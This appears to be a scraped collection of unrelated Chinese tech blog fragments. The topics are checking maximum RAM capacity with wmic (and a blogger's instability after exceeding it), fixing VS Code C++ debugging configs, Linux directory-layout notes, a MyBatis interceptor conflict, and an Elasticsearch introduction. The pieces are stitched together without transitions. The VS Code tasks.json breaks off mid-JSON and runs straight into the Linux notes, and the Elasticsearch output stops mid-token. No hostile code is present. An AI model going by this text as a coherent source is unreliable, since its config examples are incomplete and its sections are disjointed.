如何查看硬件的最大内存容量 wmic memphysical get maxcapacity 输出: MaxCapacity 33554432 注意,这里的MaxCapacity(最大内存容量)只受主板和CPU等硬件限制,不受系统限制,且无法通过软件层面修改使之可用。底下的数字是以千字节(KB)的方式呈现,表示本机硬件可用的最大内存容量和,即主板所有内存插槽插满的情况下,所有内存条容量之和,非双通道情况下,单条内存容量。例如上面这种情况,本机硬件支持最大内存容量为32GB,即在有两个内存插槽的情况下,最大支持两个16G的内存条。
超出硬件最大内存无情况发生实例 如上面查看硬件最大内存容量中所示,博主@克己的电脑硬件最大支持内存容量为32GB,有两个内存插槽,正常情况下,最大插入两条16GB内存条。但由于本身双通道内存的描述存在歧义(也有可能是我对双通道内存的理解有误),如32GB双通道是指的总容量32GB,两条16GB内存条组成双通道?还是指的总容量64GB,两条32GB内存条组成双通道?
就此问题,博主专门到对应电脑品牌官网下查看相关版本的规格参数,是这样描述的。
这样描述没有任何问题,但容易引起歧义:32GB会不会是单条32GB?为了找到确切的答案,再在官网上找一个支持64GB内存的设备作为对照组,是这样描述的。
看到这儿,条理清晰了,之前说的32GB应该是总容量32GB,因为目前笔记本一般是2个内存插槽,单条最大内存又是32GB,所以这里说的64GB也是指的总容量。但当我去问官方客服,回复是该设备确实最大支持内存为64GB,也就是32GB双通道。我回想起当初要升级内存时,看购物网站该设备给出的最大内存也是64GB。但本身硬件最大内存不受软件控制,这下真的晕了。甚至怀疑是不是别的地方导致黑屏死机、掉驱动等问题,但在博主一年的使用过程中(为什么会忍受一年这种问题,因为出问题的时候往往不是在高负载的时候(玩游戏,开虚拟机,跑代码),更多是在负载低的时候偶发(浏览网页,打开资源管理器,打开浏览器),甚至是电脑睡眠时) 排查了各种原因,如显卡驱动问题,显卡共享内存问题,虚拟内存问题,外接显示器线的问题,外接显示器驱动的问题等。
在这中间,博主还做了内存测试,发现并没有问题,甚至可以跑满64G。
但在真正的使用过程中,可能会不稳定,造成一些偶发的状况,难以排查。换回原装16G内存后,系统又恢复了往日的稳定。
总结 扩展内存能在一定程度上提高系统性能,双通道内存可以增加系统读写数据的带宽,内存容量扩展可以让系统同时运行更多的程序,但这种性能提升是有限的,由于受到硬件(CPU或主板)限制,可扩展的范围也是固定的。但有些时候即使超出硬件最大内存限制,系统也可以运行,但这种状态是不稳定的,有可能导致难以排查的偶发状况。另外,由于我们在表述内存规格时的无规范性(32G双通道/双通道32G/可支持32G/可支持64G 支持双通道),可能导致他人理解方面存在歧义,最终设备的具体参数规格也无从知晓。如果要扩展内存容量,最好还是命令行先运行wmic memphysical get maxcapacity,查看硬件层面最大支持的内存容量再做打算。痛定思痛,电脑加装内存条一定要考虑硬件的最大内存容量。
vscode运行C++:可运行但无法调试解决方案 问题描述 vscode中下载了c/c++ complie run和Code Runner,可以自动生成c++运行所需的配置文件(.vscode\launch.json、.vscode\settings.json、.vscode\c_cpp_properties.json),但是无法调试,调试时报错如下:
解决方案 1.修改 launch.json中的"program": “${fileDirname}\${fileBasenameNoExtension}.exe”,
2.在launch.json中添加"preLaunchTask": “mytask”,
3.ctrl+shift+p,创建task.json,将label改为"mytask",与"preLaunchTask"的值一致。
备注:“mytask”可以随便起,只要两者一致即可。
我的配置文件 // launch.json { "version": "0.2.0", "configurations": [ { "name": "C/C++ Runner: Debug Session", "type": "cppdbg", "request": "launch", "args": [], "stopAtEntry": false, "externalConsole": true, "cwd": "e:/code_vsc/vehicle", "program": "${fileDirname}\\${fileBasenameNoExtension}.exe", "MIMode": "gdb", "miDebuggerPath": "gdb", "preLaunchTask": "mytask", "setupCommands": [ { "description": "Enable pretty-printing for gdb", "text": "-enable-pretty-printing", "ignoreFailures": true } ] } ] } //tasks.json { "version": "2.0.0", "
4.Linux的文件系统 4.1.linux中所有的一切都是文件 万事万物皆文件
windows是盘符,linux是树
windows是\(翘)
linux是/
4.2.查找文件方式: 1. 绝对路径 有/
2. 相对路径 4.3.挂载: 执行挂载命令:mount 设备文件名 挂载点
4.4.查看系统进程 ps -ef(查看系统进程) 绝对(有/)
cd /proc/ ll echo $$(查看当前进程编号) cd 7222 查看根目录
ll / bin 可执行文件、命令、脚本
boot 引导分区,引导程序
dev 设备信息
etc 配置文件
home 家目录(普通用户的家)
lib 类库
lib64 64位
media 多媒体
mnt 硬盘挂载
opt 软件安装目录
proc 进程信息
root root用户的家目录 run 运行时的系统常量、变量
sbin 管理员可执行的权限和命令
srv 系统信息,数据
sys 系统内核信息
tmp 临时文件目录、重启可能会被清掉
usr 好多用户共享的一个用户区域。类似于C盘的windows文件夹
var 临时文件目录,重启不会被清掉
一般从三级目录开始改
一、背景描述
项目要求update/delete必须要有where条件(因为出了一次生产上把一张表的数据全表删除的严重生产事故),并且要打印出where中的条件,所以考虑用mybatis拦截器处理
mybatis拦截器实现原理简述
在Mybatis中,拦截器可拦截如上图中四种相关操作类的操作方法。通过阅读源码可知,执行顺序为: Executor -> StatementHandler -> ParameterHandler -> StatementHandler -> ResultSetHandler
其中:StatementHandler类中包含针对query、update操作的具体拦截方法。因此,拦截基于StatementHandler类进行。
删除或更新拦截器SafeDeleteOrUpdateInterceptor部分代码
在加这个拦截器前,项目中还有一个针对select特殊字符处理的StatementHandler拦截器-MySqlInterceptor
执行sql时报错
具体是在执行findById方法时报错,findById最后是调用到mybatis的selectOne方法报错。奇怪的是我本地在eclipse启动项目不会有这个报错,打成jar包就有这个报错?
二、开始排查
看报错信息,一开始没有什么头绪,因为是第一次遇到这种错,也是做各种尝试,先是在网上查了这个报错,大部分说是jar包冲突
2.1检查jar包冲突
先看项目中有没有mybatis的包冲突,发现没有
因为delete/update拦截器用到了github的jsqlparse,于是再检查jsqlparse的包有没有冲突,发现也没有
2.2既然没有jar包冲突,那应该是代码问题, 因为我本地不会报错不好调试,但是看报错信息应该是拦截器那里导致了问题,于是考虑分别注释掉其中一个拦截器试试
注释原来的MySqlInterceptor留下SafeDeleteOrUpdateInterceptor,没有报错,说明SafeDeleteOrUpdateInterceptor本身没什么问题
注释SafeDeleteOrUpdateInterceptor留下原来的MySqlInterceptor,也没有报错
但是两个拦截器就会报错,然后去github上搜了下,找到一篇相关文章,说的是获取StatementHandler对象时的问题,于是考虑两个拦截器获取StatementHandler对象有什么不一样
MySqlInterceptor是直接强转
SafeDeleteOrUpdateInterceptor是参照mybaits-plus PluginUtils的写法
既然mybatis-plus是如上的写法,于是考虑把MySqlInterceptor获取StatementHandler对象改成一样的。本地调试发现,确实存在invocation的target还是代理对象,因此需要进一步获取具体的对象
在只有其中的某一个拦截器时,invocation的target就是StatementHandler对象
三、总结和思考
为什么同种对象如果存在多种拦截器对象时会出现invocation的target还是代理对象的情况,具体我也不是太清楚,没有具体研究源码,但是根据mybatis拦截器机制猜测,如果同种对象存在多种拦截器时,首先有个执行顺序,
四、为什么我本地不报错
原因尚不清楚
五、两个拦截器的执行顺序
在第3点中简要说到同种对象如果存在多种拦截器顺序问题,可参考同行总结的内容
本地验证(gif动图)
plugin加载顺序验证
结果是先执行SafeDeleteOrUpdateInterceptor,再执行MySqlInterceptor。加载顺序的话应该就是先加载MySqlInterceptor再加载SafeDeleteOrUpdateInterceptor
结尾:如有不足,还请大家多多指出
资料篇 主站
中文指南
基础篇 简介 Elasticsearch是一个使用JAVA开发,基于Apache Lucene(TM)的开源搜索引擎。
分布式的实时文件存储,每个字段都被索引并可被搜索分布式的实时分析搜索引擎可以扩展到上百台服务器,处理PB级结构化或非结构化数据 索引(_index) ES中索引概念的区分
索引(名词) 它是相关文档存储的地方,一个索引(index)就像是传统关系数据库中的数据库。索引(动词) 「索引一个文档」表示把一个文档存储到索引(名词)里,以便它可以被检索或者查询。这很像SQL中的INSERT关键字,差别是,如果文档已经存在,新的文档将覆盖旧的文档。倒排索引 传统数据库为特定列增加一个索引,例如B-Tree索引来加速检索。Elasticsearch和Lucene使用一种叫做倒排索引(inverted index)的数据结构来达到相同目的。默认情况下,文档中的所有字段都会被索引(拥有一个倒排索引),只有这样他们才是可被搜索的(我们可以通过设置让某些字段不被索引)。 安装篇 windows下安装ES
直接下载ZIP压缩包并解压,通过/bin/elasticsearch.in.bat脚本启动
配置
config/elasticsearch.yml
安装IK中文分词器
IKAnalyzer是一个开源的,基于java语言开发的轻量级的中文分词工具包。GitHub地址
下载源码编译源码:mvn clean package在ES_HOME/plugins路径下创建analysis-ik文件夹将编译得到的elasticsearch-analysis-ik-1.9.1.zip解压到analysis-ik编辑ES_HOME/config/elasticsearch.yml index.analysis.analyzer.ik.type : "ik" 测试IK分词器
默认的分词器
curl GET http://localhost:9200/_analyze?text=我是中国人&pretty 结果
HTTP/1.1 200 OK { "tokens" : [ { "token" : "我", "start_offset" : 0, "end_offset" : 1, "type" : "<ideographic>", "position" : 0 }, { "token" : "是", "start_offset" : 1, "end_offset" : 2, "type" : "